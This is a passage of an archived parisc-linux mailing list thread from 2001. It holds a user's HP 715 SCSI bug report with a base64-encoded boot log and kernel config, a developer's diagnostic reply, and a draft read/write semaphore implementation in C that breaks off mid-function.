assembler.  Give me a few minutes and I'll have this fixed.

Thanks for the report.

Alan Modra
--=20
Linuxcare.  Support for the Revolution.





From - Thu Nov 08 21:16:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "arete@libero.it" <arete@libero.it>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 715 Scsi problem
Date: Thu,  8 Feb 2001 00:55:29 +0100
Lines: 169
Approved: news@gmane.org
Message-ID: <G8EVSH$ItXBrdOYjzLNbA0pZ4vAxouFJhE3D12QZe8gLNeQV@libero.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="_=__=_XaM3_Boundary.981590129.2A.620801.42.16836.52.42.101010.31186"
X-Trace: ger.gmane.org 1416619851 15193 80.91.229.3 (22 Nov 2014 01:30:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb  7 16:54:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp4.libero.it (smtp4.libero.it [193.70.192.54])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3A29B4A19
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Feb 2001 16:54:19 -0700 (MST)
Original-Received: from libero.it (193.70.192.61) by smtp4.libero.it (5.5.015.5)
        id 3A7F13480022D59A for parisc-linux@lists.parisc-linux.org; Thu, 8 Feb 2001 00:54:12 +0100
X-XaM3-API-Version: 1.1.9.1.31
X-SenderIP: 192.84.156.82
Xref: news.gmane.org gmane.linux.ports.parisc:10204

--_=__=_XaM3_Boundary.981590129.2A.620801.42.16836.52.42.101010.31186
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

I have compilated the kernel 20010201 , with xc-20010201
and i have scsi and ethernet problem....

thanks

--_=__=_XaM3_Boundary.981590129.2A.620801.42.16836.52.42.101010.31186
Content-Type: application/octet-stream; name="hp.log"
Content-Transfer-Encoding: base64

U0NTSSBzdWJzeXN0ZW0gZHJpdmVyIFJldmlzaW9uOjEuMDAKYnVzZGV2aWNlX2FsbG9jX2ly
cSgweGMwMmFjNmY0KTogTm8gTEFTSS9BU1AvV0FYIGZvdW5kIGluIHN5c3RlbSB5ZXQgIQpz
aW03MDA6Q291bGRuJ3QgZ2V0IGNvbnNpc3RlbnQgc2hhcmVkIG1lbW9yeQpzaW03MDA6Q29u
ZmlndXJpbmcgNTNjNzAwIChTQ1NJLUlEIDcpIGF0IGYwODI1MTAwLCBJUlEgMCwgb3B0aW9u
cyAxCnNjc2k6IFJldmlzaW9uIDB4MApQb3N0IHRlc3QxLCBpc3RhdCAwNSxzc3RhdDAwLCBk
c3RhdCA4NApzaW03MDA6RmFpbGVkIGRvIHByb2JlIGZvciBJUlEgKHJldHVybmVkIDApCldh
cm5pbmcgOmRldmljZSAoMTAsMHg3LDB4NzEsMFgwKSBOT1QgY2xhaW1lZCBieSBMYXNpIFND
U0kgNTNjNzAwCk5FVDQ6IExpbnV4IFRDUC9JUCAxLjAgZm90IE5FVDQuMApJUCBQUm90b2Nv
bHM6SUNNUCxVRFAsIFRDUApJUDpyb3V0aW5nIGNhY2hlIGhhc2h0YWJsZSBvZiA1MTIgYnVj
a2V0cyw0a2J5dGVzClRDUDpIYXNoIHRhYmxlcyBjb25maWd1cmVkIChlbnN0YWJsaXNoZWQg
MjA0OCBiaW5kIDIwNDgpCklQLUNvbmZpZzogTm8gbmV0d29yayBkZXZpY2UgYXZhaWJsZS4K

--_=__=_XaM3_Boundary.981590129.2A.620801.42.16836.52.42.101010.31186
Content-Type: application/octet-stream; name="config"
Content-Transfer-Encoding: base64

IwojIEF1dG9tYXRpY2FsbHkgZ2VuZXJhdGVkIGJ5IG1ha2UgbWVudWNvbmZpZzogZG9uJ3Qg
ZWRpdAojCkNPTkZJR19QQVJJU0M9eQojIENPTkZJR19VSUQxNiBpcyBub3Qgc2V0CgojCiMg
Q29kZSBtYXR1cml0eSBsZXZlbCBvcHRpb25zCiMKQ09ORklHX0VYUEVSSU1FTlRBTD15Cgoj
CiMgR2VuZXJhbCBvcHRpb25zCiMKIyBDT05GSUdfU01QIGlzIG5vdCBzZXQKIyBDT05GSUdf
S1dEQiBpcyBub3Qgc2V0CkNPTkZJR19HU0M9eQpDT05GSUdfSU9NTVVfQ0NJTz15CkNPTkZJ
R19HU0NfTEFTST15CkNPTkZJR19HU0NfV0FYPXkKQ09ORklHX1BDST15CkNPTkZJR19HU0Nf
RElOTz15CkNPTkZJR19QQ0lfTEJBPXkKIyBDT05GSUdfV0FYX0VJU0EgaXMgbm90IHNldAoj
IENPTkZJR19TVVBFUklPIGlzIG5vdCBzZXQKQ09ORklHX0lPU0FQSUM9eQpDT05GSUdfSU9N
TVVfU0JBPXkKQ09ORklHX0NIQVNTSVNfTENEX0xFRD15CgojCiMgTG9hZGFibGUgbW9kdWxl
IHN1cHBvcnQKIwojIENPTkZJR19NT0RVTEVTIGlzIG5vdCBzZXQKCiMKIyBHZW5lcmFsIHNl
dHVwCiMKQ09ORklHX05FVD15CkNPTkZJR19TWVNWSVBDPXkKIyBDT05GSUdfQlNEX1BST0NF
U1NfQUNDVCBpcyBub3Qgc2V0CkNPTkZJR19TWVNDVEw9eQpDT05GSUdfQklORk1UX1NPTT15
CkNPTkZJR19CSU5GTVRfRUxGPXkKIyBDT05GSUdfQklORk1UX01JU0MgaXMgbm90IHNldAoj
IENPTkZJR19CSU5GTVRfSkFWQSBpcyBub3Qgc2V0CgojCiMgUGFyYWxsZWwgcG9ydCBzdXBw
b3J0CiMKIyBDT05GSUdfUEFSUE9SVCBpcyBub3Qgc2V0CgojCiMgQmxvY2sgZGV2aWNlcwoj
CiMgQ09ORklHX0JMS19ERVZfRkQgaXMgbm90IHNldAojIENPTkZJR19CTEtfREVWX1hEIGlz
IG5vdCBzZXQKIyBDT05GSUdfUEFSSURFIGlzIG5vdCBzZXQKIyBDT05GSUdfQkxLX0NQUV9E
QSBpcyBub3Qgc2V0CiMgQ09ORklHX0JMS19DUFFfQ0lTU19EQSBpcyBub3Qgc2V0CiMgQ09O
RklHX0JMS19ERVZfREFDOTYwIGlzIG5vdCBzZXQKIyBDT05GSUdfQkxLX0RFVl9MT09QIGlz
IG5vdCBzZXQKIyBDT05GSUdfQkxLX0RFVl9OQkQgaXMgbm90IHNldApDT05GSUdfQkxLX0RF
Vl9SQU09eQpDT05GSUdfQkxLX0RFVl9SQU1fU0laRT00MDk2CkNPTkZJR19CTEtfREVWX0lO
SVRSRD15CgojCiMgTmV0d29ya2luZyBvcHRpb25zCiMKIyBDT05GSUdfUEFDS0VUIGlzIG5v
dCBzZXQKIyBDT05GSUdfTkVUTElOSyBpcyBub3Qgc2V0CiMgQ09ORklHX05FVEZJTFRFUiBp
cyBub3Qgc2V0CiMgQ09ORklHX0ZJTFRFUiBpcyBub3Qgc2V0CkNPTkZJR19VTklYPXkKQ09O
RklHX0lORVQ9eQojIENPTkZJR19JUF9NVUxUSUNBU1QgaXMgbm90IHNldAojIENPTkZJR19J
UF9BRFZBTkNFRF9ST1VURVIgaXMgbm90IHNldApDT05GSUdfSVBfUE5QPXkKQ09ORklHX0lQ
X1BOUF9CT09UUD15CiMgQ09ORklHX0lQX1BOUF9SQVJQIGlzIG5vdCBzZXQKIyBDT05GSUdf
TkVUX0lQSVAgaXMgbm90IHNldAojIENPTkZJR19ORVRfSVBHUkUgaXMgbm90IHNldAojIENP
TkZJR19JTkVUX0VDTiBpcyBub3Qgc2V0CiMgQ09ORklHX1NZTl9DT09LSUVTIGlzIG5vdCBz
ZXQKIyBDT05GSUdfSVBWNiBpcyBub3Qgc2V0CiMgQ09ORklHX0tIVFRQRCBpcyBub3Qgc2V0
CiMgQ09ORklHX0FUTSBpcyBub3Qgc2V0CiMgQ09ORklHX0lQWCBpcyBub3Qgc2V0CiMgQ09O
RklHX0FUQUxLIGlzIG5vdCBzZXQKIyBDT05GSUdfREVDTkVUIGlzIG5vdCBzZXQKIyBDT05G
SUdfQlJJREdFIGlzIG5vdCBzZXQKIyBDT05GSUdfWDI1IGlzIG5vdCBzZXQKIyBDT05GSUdf
TEFQQiBpcyBub3Qgc2V0CiMgQ09ORklHX0xMQyBpcyBub3Qgc2V0CiMgQ09ORklHX05FVF9E
SVZFUlQgaXMgbm90IHNldAojIENPTkZJR19FQ09ORVQgaXMgbm90IHNldAojIENPTkZJR19X
QU5fUk9VVEVSIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUX0ZBU1RST1VURSBpcyBub3Qgc2V0
CiMgQ09ORklHX05FVF9IV19GTE9XQ09OVFJPTCBpcyBub3Qgc2V0CgojCiMgUW9TIGFuZC9v
ciBmYWlyIHF1ZXVlaW5nCiMKIyBDT05GSUdfTkVUX1NDSEVEIGlzIG5vdCBzZXQKCiMKIyBT
Q1NJIHN1cHBvcnQKIwpDT05GSUdfU0NTST15CkNPTkZJR19CTEtfREVWX1NEPXkKQ09ORklH
X1NEX0VYVFJBX0RFVlM9NDAKQ09ORklHX0NIUl9ERVZfU1Q9eQpDT05GSUdfQkxLX0RFVl9T
Uj15CiMgQ09ORklHX0JMS19ERVZfU1JfVkVORE9SIGlzIG5vdCBzZXQKQ09ORklHX1NSX0VY
VFJBX0RFVlM9MgpDT05GSUdfQ0hSX0RFVl9TRz15CiMgQ09ORklHX1NDU0lfTVVMVElfTFVO
IGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9DT05TVEFOVFMgaXMgbm90IHNldAoKIwojIFND
U0kgbG93LWxldmVsIGRyaXZlcnMKIwpDT05GSUdfU0NTSV9MQVNJPXkKQ09ORklHX1NDU0lf
WkFMT049eQpDT05GSUdfU0NTSV9TWU01M0M4WFg9eQpDT05GSUdfU0NTSV9OQ1I1M0M4WFhf
REVGQVVMVF9UQUdTPTgKQ09ORklHX1NDU0lfTkNSNTNDOFhYX01BWF9UQUdTPTMyCkNPTkZJ
R19TQ1NJX05DUjUzQzhYWF9TWU5DPTIwCiMgQ09ORklHX1NDU0lfTkNSNTNDOFhYX1BST0ZJ
TEUgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX05DUjUzQzhYWF9JT01BUFBFRCBpcyBub3Qg
c2V0CgojCiMgTmV0d29yayBkZXZpY2Ugc3VwcG9ydAojCkNPTkZJR19ORVRERVZJQ0VTPXkK
Q09ORklHX0xBU0lfODI1OTY9eQoKIwojIEFSQ25ldCBkZXZpY2VzCiMKIyBDT05GSUdfQVJD
TkVUIGlzIG5vdCBzZXQKIyBDT05GSUdfRFVNTVkgaXMgbm90IHNldAojIENPTkZJR19CT05E
SU5HIGlzIG5vdCBzZXQKIyBDT05GSUdfRVFVQUxJWkVSIGlzIG5vdCBzZXQKIyBDT05GSUdf
VFVOIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUX1NCMTAwMCBpcyBub3Qgc2V0CgojCiMgRXRo
ZXJuZXQgKDEwIG9yIDEwME1iaXQpCiMKQ09ORklHX05FVF9FVEhFUk5FVD15CiMgQ09ORklH
X05FVF9WRU5ET1JfM0NPTSBpcyBub3Qgc2V0CiMgQ09ORklHX0xBTkNFIGlzIG5vdCBzZXQK
IyBDT05GSUdfTkVUX1ZFTkRPUl9TTUMgaXMgbm90IHNldAojIENPTkZJR19ORVRfVkVORE9S
X1JBQ0FMIGlzIG5vdCBzZXQKIyBDT05GSUdfQVQxNzAwIGlzIG5vdCBzZXQKIyBDT05GSUdf
REVQQ0EgaXMgbm90IHNldAojIENPTkZJR19IUDEwMCBpcyBub3Qgc2V0CiMgQ09ORklHX05F
VF9JU0EgaXMgbm90IHNldApDT05GSUdfTkVUX1BDST15CiMgQ09ORklHX1BDTkVUMzIgaXMg
bm90IHNldAojIENPTkZJR19BREFQVEVDX1NUQVJGSVJFIGlzIG5vdCBzZXQKIyBDT05GSUdf
QVBSSUNPVCBpcyBub3Qgc2V0CiMgQ09ORklHX0NTODl4MCBpcyBub3Qgc2V0CkNPTkZJR19U
VUxJUD15CiMgQ09ORklHX0RFNFg1IGlzIG5vdCBzZXQKIyBDT05GSUdfREdSUyBpcyBub3Qg
c2V0CiMgQ09ORklHX0RNOTEwMiBpcyBub3Qgc2V0CiMgQ09ORklHX0VFUFJPMTAwIGlzIG5v
dCBzZXQKIyBDT05GSUdfRUVQUk8xMDBfUE0gaXMgbm90IHNldAojIENPTkZJR19MTkUzOTAg
aXMgbm90IHNldAojIENPTkZJR19OQVRTRU1JIGlzIG5vdCBzZXQKIyBDT05GSUdfTkUyS19Q
Q0kgaXMgbm90IHNldAojIENPTkZJR19ORTMyMTAgaXMgbm90IHNldAojIENPTkZJR19FUzMy
MTAgaXMgbm90IHNldAojIENPTkZJR184MTM5VE9PIGlzIG5vdCBzZXQKIyBDT05GSUdfUlRM
ODEyOSBpcyBub3Qgc2V0CiMgQ09ORklHX1NJUzkwMCBpcyBub3Qgc2V0CiMgQ09ORklHX0VQ
SUMxMDAgaXMgbm90IHNldAojIENPTkZJR19TVU5EQU5DRSBpcyBub3Qgc2V0CiMgQ09ORklH
X1RMQU4gaXMgbm90IHNldAojIENPTkZJR19WSUFfUkhJTkUgaXMgbm90IHNldAojIENPTkZJ
R19XSU5CT05EXzg0MCBpcyBub3Qgc2V0CiMgQ09ORklHX0hBUFBZTUVBTCBpcyBub3Qgc2V0
CiMgQ09ORklHX05FVF9QT0NLRVQgaXMgbm90IHNldAoKIwojIEV0aGVybmV0ICgxMDAwIE1i
aXQpCiMKIyBDT05GSUdfQUNFTklDIGlzIG5vdCBzZXQKIyBDT05GSUdfSEFNQUNISSBpcyBu
b3Qgc2V0CiMgQ09ORklHX1lFTExPV0ZJTiBpcyBub3Qgc2V0CiMgQ09ORklHX1NLOThMSU4g
aXMgbm90IHNldAojIENPTkZJR19GRERJIGlzIG5vdCBzZXQKIyBDT05GSUdfSElQUEkgaXMg
bm90IHNldAojIENPTkZJR19QUFAgaXMgbm90IHNldAojIENPTkZJR19TTElQIGlzIG5vdCBz
ZXQKCiMKIyBXaXJlbGVzcyBMQU4gKG5vbi1oYW1yYWRpbykKIwojIENPTkZJR19ORVRfUkFE
SU8gaXMgbm90IHNldAoKIwojIFRva2VuIFJpbmcgZGV2aWNlcwojCiMgQ09ORklHX1RSIGlz
IG5vdCBzZXQKIyBDT05GSUdfTkVUX0ZDIGlzIG5vdCBzZXQKIyBDT05GSUdfUkNQQ0kgaXMg
bm90IHNldAojIENPTkZJR19TSEFQRVIgaXMgbm90IHNldAoKIwojIFdhbiBpbnRlcmZhY2Vz
CiMKIyBDT05GSUdfV0FOIGlzIG5vdCBzZXQKCiMKIyBJbnB1dCBjb3JlIHN1cHBvcnQKIwoj
IENPTkZJR19JTlBVVCBpcyBub3Qgc2V0CgojCiMgQ2hhcmFjdGVyIGRldmljZXMKIwpDT05G
SUdfVlQ9eQpDT05GSUdfVlRfQ09OU09MRT15CkNPTkZJR19HU0NfUFMyPXkKIyBDT05GSUdf
SElMIGlzIG5vdCBzZXQKQ09ORklHX1NFUklBTD15CkNPTkZJR19TRVJJQUxfQ09OU09MRT15
CkNPTkZJR19TRVJJQUxfR1NDPXkKIyBDT05GSUdfU0VSSUFMX0VYVEVOREVEIGlzIG5vdCBz
ZXQKIyBDT05GSUdfU0VSSUFMX05PTlNUQU5EQVJEIGlzIG5vdCBzZXQKQ09ORklHX1VOSVg5
OF9QVFlTPXkKQ09ORklHX1VOSVg5OF9QVFlfQ09VTlQ9MjU2CgojCiMgSTJDIHN1cHBvcnQK
IwojIENPTkZJR19JMkMgaXMgbm90IHNldAoKIwojIE1pY2UKIwojIENPTkZJR19CVVNNT1VT
RSBpcyBub3Qgc2V0CiMgQ09ORklHX01PVVNFIGlzIG5vdCBzZXQKCiMKIyBKb3lzdGlja3MK
IwojIENPTkZJR19KT1lTVElDSyBpcyBub3Qgc2V0CiMgQ09ORklHX1FJQzAyX1RBUEUgaXMg
bm90IHNldAoKIwojIFdhdGNoZG9nIENhcmRzCiMKIyBDT05GSUdfV0FUQ0hET0cgaXMgbm90
IHNldApDT05GSUdfR0VOUlRDPXkKIyBDT05GSUdfSU5URUxfUk5HIGlzIG5vdCBzZXQKIyBD
T05GSUdfTlZSQU0gaXMgbm90IHNldAojIENPTkZJR19SVEMgaXMgbm90IHNldAojIENPTkZJ
R19EVExLIGlzIG5vdCBzZXQKIyBDT05GSUdfUjM5NjQgaXMgbm90IHNldAojIENPTkZJR19B
UFBMSUNPTSBpcyBub3Qgc2V0CgojCiMgRnRhcGUsIHRoZSBmbG9wcHkgdGFwZSBkZXZpY2Ug
ZHJpdmVyCiMKIyBDT05GSUdfRlRBUEUgaXMgbm90IHNldAojIENPTkZJR19BR1AgaXMgbm90
IHNldAojIENPTkZJR19EUk0gaXMgbm90IHNldAoKIwojIEZpbGUgc3lzdGVtcwojCiMgQ09O
RklHX1FVT1RBIGlzIG5vdCBzZXQKIyBDT05GSUdfQVVUT0ZTX0ZTIGlzIG5vdCBzZXQKIyBD
T05GSUdfQVVUT0ZTNF9GUyBpcyBub3Qgc2V0CiMgQ09ORklHX1JFSVNFUkZTX0ZTIGlzIG5v
dCBzZXQKIyBDT05GSUdfUkVJU0VSRlNfQ0hFQ0sgaXMgbm90IHNldAojIENPTkZJR19BREZT
X0ZTIGlzIG5vdCBzZXQKIyBDT05GSUdfQURGU19GU19SVyBpcyBub3Qgc2V0CiMgQ09ORklH
X0FGRlNfRlMgaXMgbm90IHNldAojIENPTkZJR19IRlNfRlMgaXMgbm90IHNldAojIENPTkZJ
R19CRlNfRlMgaXMgbm90IHNldAojIENPTkZJR19GQVRfRlMgaXMgbm90IHNldAojIENPTkZJ
R19NU0RPU19GUyBpcyBub3Qgc2V0CiMgQ09ORklHX1VNU0RPU19GUyBpcyBub3Qgc2V0CiMg
Q09ORklHX1ZGQVRfRlMgaXMgbm90IHNldAojIENPTkZJR19FRlNfRlMgaXMgbm90IHNldAoj
IENPTkZJR19KRkZTX0ZTIGlzIG5vdCBzZXQKIyBDT05GSUdfQ1JBTUZTIGlzIG5vdCBzZXQK
IyBDT05GSUdfUkFNRlMgaXMgbm90IHNldApDT05GSUdfSVNPOTY2MF9GUz15CiMgQ09ORklH
X0pPTElFVCBpcyBub3Qgc2V0CiMgQ09ORklHX01JTklYX0ZTIGlzIG5vdCBzZXQKIyBDT05G
SUdfTlRGU19GUyBpcyBub3Qgc2V0CiMgQ09ORklHX05URlNfUlcgaXMgbm90IHNldAojIENP
TkZJR19IUEZTX0ZTIGlzIG5vdCBzZXQKQ09ORklHX1BST0NfRlM9eQojIENPTkZJR19ERVZG
U19GUyBpcyBub3Qgc2V0CiMgQ09ORklHX0RFVkZTX01PVU5UIGlzIG5vdCBzZXQKIyBDT05G
SUdfREVWRlNfREVCVUcgaXMgbm90IHNldAojIENPTkZJR19ERVZQVFNfRlMgaXMgbm90IHNl
dAojIENPTkZJR19RTlg0RlNfRlMgaXMgbm90IHNldAojIENPTkZJR19RTlg0RlNfUlcgaXMg
bm90IHNldAojIENPTkZJR19ST01GU19GUyBpcyBub3Qgc2V0CkNPTkZJR19FWFQyX0ZTPXkK
IyBDT05GSUdfU1lTVl9GUyBpcyBub3Qgc2V0CiMgQ09ORklHX1NZU1ZfRlNfV1JJVEUgaXMg
bm90IHNldAojIENPTkZJR19VREZfRlMgaXMgbm90IHNldAojIENPTkZJR19VREZfUlcgaXMg
bm90IHNldAojIENPTkZJR19VRlNfRlMgaXMgbm90IHNldAojIENPTkZJR19VRlNfRlNfV1JJ
VEUgaXMgbm90IHNldAoKIwojIE5ldHdvcmsgRmlsZSBTeXN0ZW1zCiMKIyBDT05GSUdfQ09E
QV9GUyBpcyBub3Qgc2V0CkNPTkZJR19ORlNfRlM9eQojIENPTkZJR19ORlNfVjMgaXMgbm90
IHNldApDT05GSUdfUk9PVF9ORlM9eQojIENPTkZJR19ORlNEIGlzIG5vdCBzZXQKIyBDT05G
SUdfTkZTRF9WMyBpcyBub3Qgc2V0CkNPTkZJR19TVU5SUEM9eQpDT05GSUdfTE9DS0Q9eQoj
IENPTkZJR19TTUJfRlMgaXMgbm90IHNldAojIENPTkZJR19OQ1BfRlMgaXMgbm90IHNldAoj
IENPTkZJR19OQ1BGU19QQUNLRVRfU0lHTklORyBpcyBub3Qgc2V0CiMgQ09ORklHX05DUEZT
X0lPQ1RMX0xPQ0tJTkcgaXMgbm90IHNldAojIENPTkZJR19OQ1BGU19TVFJPTkcgaXMgbm90
IHNldAojIENPTkZJR19OQ1BGU19ORlNfTlMgaXMgbm90IHNldAojIENPTkZJR19OQ1BGU19P
UzJfTlMgaXMgbm90IHNldAojIENPTkZJR19OQ1BGU19TTUFMTERPUyBpcyBub3Qgc2V0CiMg
Q09ORklHX05DUEZTX05MUyBpcyBub3Qgc2V0CiMgQ09ORklHX05DUEZTX0VYVFJBUyBpcyBu
b3Qgc2V0CgojCiMgUGFydGl0aW9uIFR5cGVzCiMKIyBDT05GSUdfUEFSVElUSU9OX0FEVkFO
Q0VEIGlzIG5vdCBzZXQKQ09ORklHX01TRE9TX1BBUlRJVElPTj15CiMgQ09ORklHX1NNQl9O
TFMgaXMgbm90IHNldAojIENPTkZJR19OTFMgaXMgbm90IHNldAoKIwojIFNvdW5kIERyaXZl
cnMKIwojIENPTkZJR19TT1VORCBpcyBub3Qgc2V0CgojCiMgQ29uc29sZSBkcml2ZXJzCiMK
CiMKIyBGcmFtZS1idWZmZXIgc3VwcG9ydAojCiMgQ09ORklHX0ZCIGlzIG5vdCBzZXQKIyBD
T05GSUdfU1RJX0NPTlNPTEUgaXMgbm90IHNldApDT05GSUdfRFVNTVlfQ09OU09MRT15Cgoj
CiMgS2VybmVsIGhhY2tpbmcKIwpDT05GSUdfTUFHSUNfU1lTUlE9eQo=

--_=__=_XaM3_Boundary.981590129.2A.620801.42.16836.52.42.101010.31186--





From - Thu Nov 08 21:16:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715 Scsi problem
Date: Thu, 8 Feb 2001 00:16:00 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <20010208001600.N1374@linuxcare.com>
References: <G8EVSH$ItXBrdOYjzLNbA0pZ4vAxouFJhE3D12QZe8gLNeQV@libero.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619852 15198 80.91.229.3 (22 Nov 2014 01:30:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "arete@libero.it" <arete@libero.it>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb  7 17:15:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 73E0E4A19
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Feb 2001 17:15:35 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id CE81AB005; Thu,  8 Feb 2001 00:16:00 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <G8EVSH$ItXBrdOYjzLNbA0pZ4vAxouFJhE3D12QZe8gLNeQV@libero.it>; from arete@libero.it on Thu, Feb 08, 2001 at 12:55:29AM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:10205

On Thu, Feb 08, 2001 at 12:55:29AM +0100, arete@libero.it wrote:
> I have compilated the kernel 20010201 , with xc-20010201
> and i have scsi and ethernet problem....
> 
> thanks


> SCSI subsystem driver Revision:1.00
> busdevice_alloc_irq(0xc02ac6f4): No LASI/ASP/WAX found in system yet !
> sim700:Couldn't get consistent shared memory
> sim700:Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 0, options 1

Something strange there - IRQ 0 means sim700_init_host() was called
with requested_irq=0.  Shouldn't happen.  I'll try my 715/75 tomorrow.
Which model of 715 have you got?

Richard





From - Thu Nov 08 21:16:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@ldl.fc.hp.com (Matthew Wilcox)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] rwsems
Date: Wed, 7 Feb 2001 19:44:30 -0700
Lines: 157
Approved: news@gmane.org
Message-ID: <20010207194430.C620@zumpano.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619852 15199 80.91.229.3 (22 Nov 2014 01:30:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb  7 19:48:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0B1DA4A19
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Feb 2001 19:48:53 -0700 (MST)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by atlrel1.hp.com (Postfix) with ESMTP id 4A12B2A3
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Feb 2001 21:48:49 -0500 (EST)
Original-Received: by ldl.fc.hp.com (Postfix, from userid 22224)
	id 894585A98C; Wed,  7 Feb 2001 19:44:30 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:10206

Currently, our read/write semaphores are NOPs.  This is not so good :-)

Here's a scheme i've devised for doing rwsems moderately efficiently;
if anyone can think of a better scheme, please shout.

(removed debugging code for clarity)

semaphore.h:

#define RWSEM_WRITER	-1
#define RWSEM_MASK	0xC0000000
#define RWSEM_BIAS_WRITE	0xC0000000
#define RWSEM_BIAS_READ		0x80000000

struct rw_semaphore {
	spinlock_t		sentry;
	signed int		rw_count;
	wait_queue_head_t	readers;
	wait_queue_head_t	writers;
};

extern inline void down_read(struct rw_semaphore *sem)
{
	spin_lock(&sem->sentry);
	if (sem->rw_count < 0)
		__down_read_failed(sem);
	sem->rw_count++;
	spin_unlock(&sem->sentry);
}

extern inline void down_write(struct rw_semaphore *sem)
{
	spin_lock(&sem->sentry);
	if (sem->rw_count != 0)
		__down_write_failed(sem);
	sem->rw_count += RWSEM_WRITER;
	spin_unlock(&sem->sentry);
}

extern inline void up_read(struct rw_semaphore *sem)
{
	spin_lock(&sem->sentry);
	if (sem->rw_count-- < 0)
		__up_read_wakeup(sem);
	spin_unlock(&sem->sentry);
}

extern inline void up_write(struct rw_semaphore *sem)
{
	spin_lock(&sem->sentry);
	sem->rw_count -= RWSEM_WRITER;
	if (sem->rw_count != 0)
		__up_write_wakeup(sem);
	spin_unlock(&sem->sentry);
}

semaphore.c:

/* We must wait for a writer to up the semaphore */
void down_read_failed(struct rw_semaphore *sem)
{
	DECLARE_WAITQUEUE(wait, current);

	/* If we're the first waiter, indicate that we exist */
	if ((sem->rw_count & RWSEM_MASK) == 0)
		sem->rw_count |= RWSEM_READ;

	__add_wait_queue(&sem->readers, &wait);
	spin_unlock(&sem->sentry);

	while (sem->rw_count < 0) {
		set_task_state(current, TASK_UNINTERRUPTIBLE);
		if (sem->rw_count >= 0)
			break;	/* We get the lock */
		schedule();
	}

	spin_lock(&sem->sentry);
	__remove_wait_queue(&sem->readers, &wait);
	current->state = TASK_RUNNING;
}

/* Wait for all previous readers to up the sempahore.
 * Since we're a writer, we'll make ourselves exclusive.
 */
void down_write_failed(struct rw_semaphore *sem)
{
	DECLARE_WAITQUEUE(wait, current);

	/* If we're the first waiter, indicate that we exist */
	if ((sem->rw_count & RWSEM_MASK) == 0)
		sem->rw_count |= RWSEM_WRITE;

	wait.flags = WQ_FLAG_EXCLUSIVE;
	__add_wait_queue_tail(&sem->writers, &wait);
	spin_unlock(&sem->sentry);

	while (sem->rw_count != 0) {
		set_task_state(current, TASK_UNINTERRUPTIBLE);
		if (sem->rw_count == 0)
			break;	/* We get the lock */
		schedule();
	}

	spin_lock(&sem->sentry);
	__remove_wait_queue(&sem->writers, &wait);
	current->state = TASK_RUNNING;
}

/* up_read_wakeup gets called spuriously when a writer is waiting
 * for the lock.  That's OK, this is slowpath now anyway.
 */
void up_read_wakeup(struct rw_semaphore *sem)
{
	/* Check to see if other readers need to up the semaphore */
	if ((sem->rw_count &~ RWSEM_MASK) != 0)
		return;

	up_write_wakeup(sem);
}

void up_write_wakeup(struct rw_semaphore *sem)
{
	/* Figure out what state to go to next. */
	if ((sem->rw_count & RWSEM_MASK) == RWSEM_WRITE) {
		int more_writers = (sem->writers.task_list.next != sem->writers.task_list.prev);
		int more_readers = list_empty(&sem->readers.task_list);
		if (more_writers) {
			if (more_readers) {
				sem->rw_count = RWSEM_READ;
			} else {
